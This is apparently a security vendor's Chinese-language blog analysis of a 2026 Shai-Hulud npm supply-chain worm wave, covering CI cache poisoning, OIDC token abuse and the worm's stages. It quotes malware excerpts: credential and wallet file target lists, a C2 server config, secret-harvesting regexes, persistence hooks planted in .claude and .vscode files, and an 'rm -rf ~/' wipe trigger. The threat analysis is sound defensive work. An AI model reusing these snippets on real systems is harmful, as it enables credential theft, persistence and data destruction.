Akamai 安全情报组发现新一波 Shai-Hulud 供应链攻击活动正在影响 npm 生态系统。受影响的 Akamai Hunt 客户已收到包含脆弱资产详细映射及可操作分段和抵御措施建议的报告。
要点汇总
2026 年 5 月 11 日,攻击者在 TanStack 依赖项树中发布恶意版本的软件包,向 npm 生态系统发起新一波沙虫供应链攻击活动。
据悉,此波攻击是利用持续集成 (CI) 缓存中毒技术以及 npm 的 OpenID Connect (OIDC) 发布端点,劫持合法版本发布工作流程实施的。
其攻击范围迅速从 TanStack 扩大到与 Mistral AI、UiPath、OpenSearch 等相关的其他 npm 软件包。
次日,新的 GitHub 存储库出现,疑似托管了恶意的沙虫蠕虫源代码。
在本博文中,我们将分析新发布的恶意软件,探讨此轮攻击与以往几轮的不同之处,向维护者和企业提供缓解建议。
2026 年 5 月 11 日,TeamPCP 投放沙虫变体形式的新攻击载荷,继续不间断地实施供应链攻击。结合我们先前关于此主题的博文中提到的勒索软件组织 Vect 与 TeamPCP 的合作声明,这可能预示 TeamPCP 攻击重点可能正从凭据盗用转向大规模勒索和勒索软件攻击。
这项新的攻击活动释放了明确信号,相关转变可能已经在进行中。
早期沙虫蠕虫攻击波
2025 年 9 月,沙虫蠕虫首次浮出水面。其核心运作机制表现为简单 3 步:窃取 npm 发布令牌,遍历该令牌有权访问的每一个软件包,注入恶意代码,然后重新发布。
沙虫自首次亮相后至当年年底期间持续活跃,随后在 2025 年 11 月和 12 月带着升级的数据擦除功能再度现身。
新一波攻击手段还融合了持续集成 (CI) 缓存中毒技术和滥用 OIDC 认证机制
此前的每一波攻击浪潮,都是从凭据盗用开始的。这一次却并非如此。
TeamPCP 是 2026 年 3 月 Trivy 数据泄露事件及后续几次行动的幕后黑手,并承认是他们发起的这波称为迷你沙虫的新攻击。
在这波新攻击中,攻击者将目标对准 TanStack 的 GitHub Actions CI,利用其拉取请求工作流程中的配置错误。一个来自分叉的拉取请求触发了对基础存储库缓存具有写入权限的工作流程。攻击者的代码首先毒化了该缓存并静静等待。
8 小时后,一位合法维护者执行了合并操作,触发了标准发布工作流程,导致拉取中毒的缓存并随即执行攻击者的代码。
自动渗漏 GitHub Actions 令牌
随后,攻击者的蠕虫病毒直接从 GitHub Actions 运行器的内存中抓取令牌,并通过 npm 自身的令牌交换端点,换成 npm 发布凭据。由于没有直接“窃取”任何 npm 令牌,且未明显破坏发布工作流程本身,攻击隐匿无踪,成功通过了 SLSA 认证校验。
另一个关键的变化是,现有攻击载荷创建后台守护进程,使用从初始访问中窃取的令牌。如果该令牌遭到吊销,该守护进程会立即擦除受害者整个主目录下的所有数据。
在开发者应用程序中部署持久化向量
恶意软件进一步扩展了持久化驻留手段,将 Claude Code 会话钩子以及 VS Code 任务自动化转化为技术手段,确保这两者在执行“npm uninstall”卸载操作后仍能存活。
蠕虫本身的运作方式没有变化,一旦截获有效凭据,便会遍历所有识别到的软件包并尝试实施注入。
攻击活动公开肆虐
2026 年 5 月 12 日晚,完全武器化的蠕虫代码遭公开发布。尽管我们尚无法证实这是否就是攻击 TanStack 的那款恶意软件,但其完整的恶意攻击负载现已公开,任何人都可以获取并使用。
恶意软件解析:主循环
该蠕虫主循环结构紧凑,仅包含几个核心阶段,但各阶段的设计均较为严密,具体包括:
第 0 阶段 — 运行前检查
第 1 阶段 — 快速窃取
第 2 阶段 — 命令和控制 (C2) 通信
第 3 阶段 — 收集平台凭据
第 4 阶段 — 持续扩散
主循环结构大致如下所示:
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize()
第 0 阶段 — 运行前检查
该恶意软件首先检查运行环境是否为 opensearch-js 软件包。如果是,则会尝试向该软件包中注入后门,触发 OIDC 客户端立即窃取凭据,并伪造相应的 SLSA 签名。
接下来,该恶意软件会检查系统语言是否设置为“俄语”。如果是,恶意软件就会退出。
接着,该恶意软件展开了运行前检查:先确保没有其他实例同时运行,再确认当前处于持续集成/持续部署环境中,并阻止系统通过 SIGINT 或 SIGTERM 信号终止进程。
第 1 阶段 — 快速窃取
在这一阶段中,恶意软件会试图从该终端快速收集尽可能多的凭据。它会读取 1,000 多个已知凭据存储位置、尝试运行 gh auth token 命令行,以及捕获 process.env,从环境变量中窃取凭据。
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),
第 2 阶段 — 命令和控制 (C2) 通信
该蠕虫随后与主服务器建立 C2 通信:
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};
蠕虫利用其主调度器函数,在传输之前,使用硬编码的 RSA 公钥对所有被盗数据进行加密。这可以确保只有攻击者才能读取被盗数据。代码中还提示后续操作人员更换该密钥。
该恶意软件首先尝试联系其主要 C2 服务器。如果该通信遭阻止,则会转而在受害者帐户下创建一个新的 GitHub 存储库,并将加密数据提交到该存储库。攻击者随后只需通过识别这些存储库的独特描述信息,即可在 GitHub 上展开监控。
加密数据达到 100 KB 后,便可以开始进行渗漏。
第 3 阶段 — 收集平台凭据
设置完成后,恶意软件便会开始从 AWS、Kubernetes 和 GitHub 等展开更激进的凭据收集动作。
例如,在 Kubernetes 环境中,该蠕虫会尝试使用正则表达式遍历众多不同位置和密钥:
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
在 AWS 相关收集工作中,该蠕虫搜索的部分位置包括:
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache*。
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
数据收集完成后,恶意软件便会通过其 C2 通道发送收集到的数据,并继续传播到其他存储库。
值得注意的是,该恶意软件还会实施与框架无关的行为,即搜索比特币钱包,尤其是针对 ~/.bitcoin/wallet.dat 文件。
第 4 阶段 — 持续扩散
为扩大传播范围,该蠕虫会利用找到的每个有效 GitHub 令牌,创建新的工作流程,窃取更多凭据,延长其感染链。
如果没有找到工作流程令牌,该蠕虫则会遍历其发现的每个 GitHub 分支,通过将包含加载器和蠕虫二进制文件的恶意文件植入与 AI 智能体相关的文件夹(如 .claude 和 .vscode)中实施传播:
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};
如果蠕虫找到了 NPM 令牌,则会启动其 NPMClient,并将恶意软件复制到 packages/opensearch_init.js 文件中。
该恶意软件对 OIDC 令牌使用了类似的传播链。
恶意软件解析:失能开关
除了主循环外,该恶意软件的一个突出设计为失能开关。它每 60 秒检查一次令牌是否发生轮换。如果已被轮换,蠕虫将尝试删除该机器上的文件:
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
尽管该恶意软件还有其他若干维度与代码层在此未作探讨,但我们相信,目前所描述的行为已能够反映出攻击者的复杂技术手段与潜在企图。
检测和抵御
为保护贵企业的安全,我们建议您立即咨询安全专家并采取以下行动:
将受感染的软件包降级到安全版本
通过网络分段减少受影响主机的爆炸半径
展望未来
此次活动标志着 TeamPCP 持续进行的攻击行动再次升级。8 个月来,该团伙有条不紊地凭借娴熟技术展开周密凭据窃取活动,重点收集密钥、滥用开发者工作流程以及在软件供应链环境中拓展渗透范围。
这一最新变体的出现,表明该团伙的投资重心依旧集中在以下方面:自动化技术、凭据收集,以及跨存储库、软件包和开发者工具的横向传播。 此波攻击在 TeamPCP 宣布与 Vect 合作后便随即出现。
随着该蠕虫代码现在遭公开发布,其工具链也向其他操作人员开放,业界顾虑不再仅仅停留在 TeamPCP。其他攻击者同样可以对这些技术进行研究、调整及二次利用。
关注最新动态
标签